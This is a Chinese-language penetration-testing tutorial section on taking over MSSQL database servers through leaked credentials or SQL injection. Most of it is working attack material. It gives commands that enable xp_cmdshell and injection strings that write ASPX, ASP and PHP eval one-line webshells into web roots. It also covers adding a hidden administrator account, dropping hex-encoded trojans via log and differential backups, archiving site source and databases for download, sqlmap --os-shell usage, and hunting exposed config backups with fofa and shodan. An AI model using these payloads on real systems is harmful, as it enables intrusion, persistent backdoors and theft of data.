4.4 使用sqlmap直連MSSQL獲取webshell或權限
在某些情況下可能不存在SQL注入漏洞,但是通過發現目標源代碼泄露,備份泄露,文件包含等方法獲取了數據庫服務器的IP地址,數據庫賬戶和密碼,而且含有對外可以訪問的端口,或者可以通過代理的方式能夠訪問到端口,簡單點理解就是可以通過公網直連MSSQL數據庫,那么這個時候就可以根據具體情況獲取webshell或系統權限
4.4.1 MSSQL數據獲取webshell相關命令
1. 數據庫恢復xp_cmdshell存儲過程、
(1) 判斷xp_cmdshell是否存在
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';
或者
if exists (SELECT null FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
begin
print N'當前數據庫引擎存在xp_cmdshell'
end
(2) MSSQL 2000版本:
dbcc addextendedproc ("xp_cmdshell", "xplog70.dll") exec sp_addextendedproc xp_cmdshell, @dllname ='xplog70.dll'
(3) MSSQL 2005及以上版本:
xp_cmdshell是默認關閉的,因此需要手動開啟,但是開啟xp_cmdshell需要sa權限
依次的步驟如下:
# 允許修改高級參數
exec sp_configure 'show advanced options',1;
# 配置生效
RECONFIGURE;
# 開啟xp_cmdshell
exec sp_configure 'xp_cmdshell',1;
# 配置生效
RECONFIGURE;
可以一次性操作
exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'xp_cmdshell',1;RECONFIGURE;
關閉xp_cmdshell
# 開啟高級選項
exec sp_configure 'show advanced options',1;
# 配置生效
RECONFIGURE;
# 關閉xp_cmdshell
exec sp_configure 'xp_cmdshell',0;
# 配置生效
RECONFIGURE;
一次性操作
exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'xp_cmdshell',0;RECONFIGURE;
2. 手工注入寫入shell
;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["bmfx"], "unsafe");%^>> D:\\WWW\\bmfx.aspx'
3. 反彈寫入webshell
'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["bmfx"], "unsafe");%^>> D:\\WWW\\bmfx.aspx'
這里的必要條件是必須知道網站的真實路徑,可以通過訪問網站文件出錯來獲取真實路徑
4. SQLTOOLS工具通過賬戶直接連接
(1) 恢復存儲過程
(2) 通過文件管理查看文件及目錄
(3) 獲取網站的真實路徑
(4) 寫入shell
'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["bmfx"], "unsafe");%^>> D:\\WWW\\bmfx.aspx'
5. 知道sa賬戶和密碼,直連后寫入webshell或獲取系統權限
sqlmap.py -d mssql://sa:sa@xxx.xxx.xxx.xxx:1433/master --os-shell
6. 執行提權命令
;exec master..xp_cmdshell 'net user bmfx bmfx /add' 或者
;exec master.dbo.xp_cmdshell 'net user bmfx bmfx /add'
;exec master..xp_cmdshell 'net localgroup administrators bmfx /add' 或者
;exec master.dbo.xp_cmdshell 'net localgroup administrators bmfx /add'
exec master..xp_cmdshell 'whoami';
這里就是通過存儲過程執行添加用戶和密碼 ,然后將添加的用戶加入到管理員組
7. 日志備份獲取webshell
(1) log日志備份獲取webshell
';alter database bmfxtest set RECOVERY FULL--
';use bmfxtest--
';create table cmd (a image)--
';backup log bmfxtest to disk = 'C:\dbbackup' with init--
';insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)--
';backup log bmfxtest to disk = 'D:\wwwroot\bmfx.asp'--
';drop table cmd--
=====================================================================================
上述測試有點問題,大家可以根據實際情況按照上面方式測試,下面有一種我測試成功,可以備份成本地文件
# 查看要創建的臨時表是否被占用
IF EXISTS(select table_name from information_schema.tables where table_name='temp') drop table temp;
# 將數據庫備份至文件中
backup database bmfxtest to disk = 'C:\tools\2233.bak';
# 創建臨時表
create table test (a image);
# 寫入木馬
insert into test(a) values(0x3C25657865637574652872657175657374282261222929253E);
# 重新備份,木馬寫入文件
backup database bmfxtest to disk = 'C:\tools\22332.asp' with differential,format;
(2) 差異備份
sql注入執行sql語句
';drop table cmd--
';create table cmd (a image)--
';insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)--
';execute sp_makewebtask @outputfile='D:\www\bmfx.asp', @query='select a from cmd'--
';exec sp_configure 'Web Assistant Procedures', 1; RECONFIGURE
';insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)-- 這里括號里面是十六進制,可以通過Notepad++或者Burpsuite工具進行轉換
執行sql語句
use bmfxtest
drop table test
create table cmd (a image)--
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)--
execute sp_makewebtask @outputfile='C:\tools\erererbmfx.asp', @query='select a from cmd'
exec sp_configure 'Web Assistant Procedures', 1; RECONFIGURE
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E) 這里括號里面是十六進制,可以通過Notepad++或者Burpsuite工具進行轉換
8. 手工注入獲取webshell
(1) 注入點判斷
' and 1=user;--
(2) 創建臨時表
';CREATE TABLE TTBMFX_TMP (tmp1 varchar(8000));--
(3) 查詢文件
for /r C:\ %i in (Newslist*.aspx) do @echo %i
或者
for /r C:\ %i in (Newslist.aspx*) do @echo %i
上面就是根據某一個文件名,然后通過通配符遍歷出路徑,下面就是實際帶入到SQL注入中操作
';insert into tt_tmp(tmp1) exec master..xp_cmdshell 'for /r C:\ %i in (Newslist*.aspx) do @echo %i ';--
(4) 查看文件名稱並獲取真實的路徑
' and 1=(select top 1 tmp1 from tt_tmp) and 'a'='a
' and 1=(select top 1 tmp1 from tt_tmp where tmp1 not in ('C:\inetpub\wwwroot\bmfx.aspx')) and 'a'='a
(5) 文件寫入測試
';exec master..xp_cmdshell 'echo test > C:\\tools\\bmfx.txt';--
(6) 寫入shell
';exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval (Request.Item["bmfx"], "unsafe");%^ >> C:\tools\fx.aspx';--
4.4.2 MSSQL數據庫獲取webshell思路和方法
在實際的環境中需要根據實際情況判斷,所有都是以結果為導向,通過獲取數據庫獲取所在的服務器系統權限或者是webshell權限
1. 通過SQL查詢分析器及SQL數據庫客戶端進行連接獲取webshell及系統權限
(1) 連接數據庫成功測試
(2) 看是不是存在xp_cmdshell,如果存在就恢復xp_cmdshell存儲過程
(3) 執行命令
* 遍歷C盤目錄或者子目錄及目錄樹結構
exec master.dbo.xp_dirtree 'C:\'
* 獲取當前所有驅動器
exec master.dbo.xp_availablemedia;
* 獲取子目錄列表
exec master.dbo.xp_subdirs 'C:\';
* 查看文件的內容
exec master.dbo.xp_cmdshell 'type C:\wwwroot\web\web.config';
(4) 找到網站目錄,通過執行命令查看網頁相對應的名稱和類型,獲取網站的真實路徑
(5) 壓縮源代碼及數據庫
rar a -ep -p123 D:\1.rar D:\wwwroot // 壓縮網站下所有數據,密碼為123
rar a -ep -p123 D:\ebmfx.rar D:\database\ebmfx.bak //壓縮數據庫,密碼為123
move D:\ebmfx.rar D:\wwwroot\bmfx.rar //將ebmfx.rar 移動到wwwroot目錄下
http://www.xxx.com/bmfx.rar //通過瀏覽器在本地下載bmfx.rar
(6) 寫入一句話后門
';exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval (Request.Item["bmfx"], "unsafe");%^ >> C:\tools\fx.aspx';--
(7) webshell提權
2. 通過SQLTOOLS工具進行文件查看獲取webshell
(1) 恢復存儲過程
(2) 執行命令或查看磁盤文件目錄及內容
(3) 后續步驟跟上面類似
3. 使用sqlmap直連MSSQL獲取webshell或權限
(1) 連接測試
sqlmap.py -d mssql://sa:sa@ip:1433/master
實際測試過程如下,有點小問題,報錯過程有如下操作,但是還沒有解決,想想在Windows環境下,有非常好的操作工具遍歷,所以sqlmap就不折騰了
sqlmap -d mssql://sa:sa@192.168.91.131:1433/master --os-shell
pip install pymssql
pip install pyodbc
apt-get install unixodbc -y
(2) 獲取os-shell
sqlmap.py -d mssql://sa:sa@ip:1433/master --os-shell
(3) 在獲取的shell中執行命令
4. 查看CMS相關數據庫,通過登錄CMS來獲取webshell
(1) 通過SQL查詢分析器,SQLTOOLS,sqlmap獲取CMS對應數據庫
(2) 查看並獲取后台管理員表數據
(3) 如果是加密數據,就進行解密
(4) 尋找CMS后台地址
(5) 登錄CMS后台
(6) 尋找上傳位置,嘗試獲取webshell
(7) 也可以通過log,差異備份的方法來獲取webshell
4.4.3 sqlmap直連數據庫獲取webshell
1. 直連數據庫測試
sqlmap.py -d mssql://sa:xxxxxx@xx.xx.xx.xx:1433/master
2. 獲取os-shell
sqlmap.py -d mssql://sa:xxxxxx@xx.xx.xx.xx:1433/master --os-shell
3. 如果未獲取系統權限
(1) 查看磁盤文件
dir C:\
(2) 獲取網站所在目錄為C:\www\phpstudypro\,寫入一句話后門到此目錄下面
echo ^<?php @eval ($_POST['bmfx']);?^>^ >C:\www\phpstudypro\bmfx.php
echo ^<?php @eval ($_POST['bmfx']);?^>^ > C:\tools\bmfx.php
(3) 查看寫入內容 type C:\www\phpstudypro\bmfx.php
(4) 獲取webshell
4. 執行其他命令
sqlmap.py -d mssql://sa:xxxxxx@xx.xx.xx.xx:1433/master --dbs
4.4.4 利用漏洞搜索引擎搜索目標
1. 搜索網站備份文件
(1) 利用fofa網站搜索web.config.bak
(2) 利用shodan網站搜索web.config.bak
2. 搜索其他關鍵字
www.rar, wwwroot.rar, wwwroot.zip, www.zip
4.4.5 構造SQL注入后門
1. 構造SQL注入后門前提條件
通過前面的方法獲取了目標站點的webshell,然后通過webshell在網站創建文件
2. ASP+IIS+MSSQL站點構造SQL注入后門
(1) 不使用數據庫連接文件
(2) 使用系統自帶的連接文件
參考:
https://www.cnblogs.com/jerrylocker/p/10938899.html
https://www.cnblogs.com/ichunqiu/p/7249474.html
https://www.cnblogs.com/ichunqiu/p/7249516.html
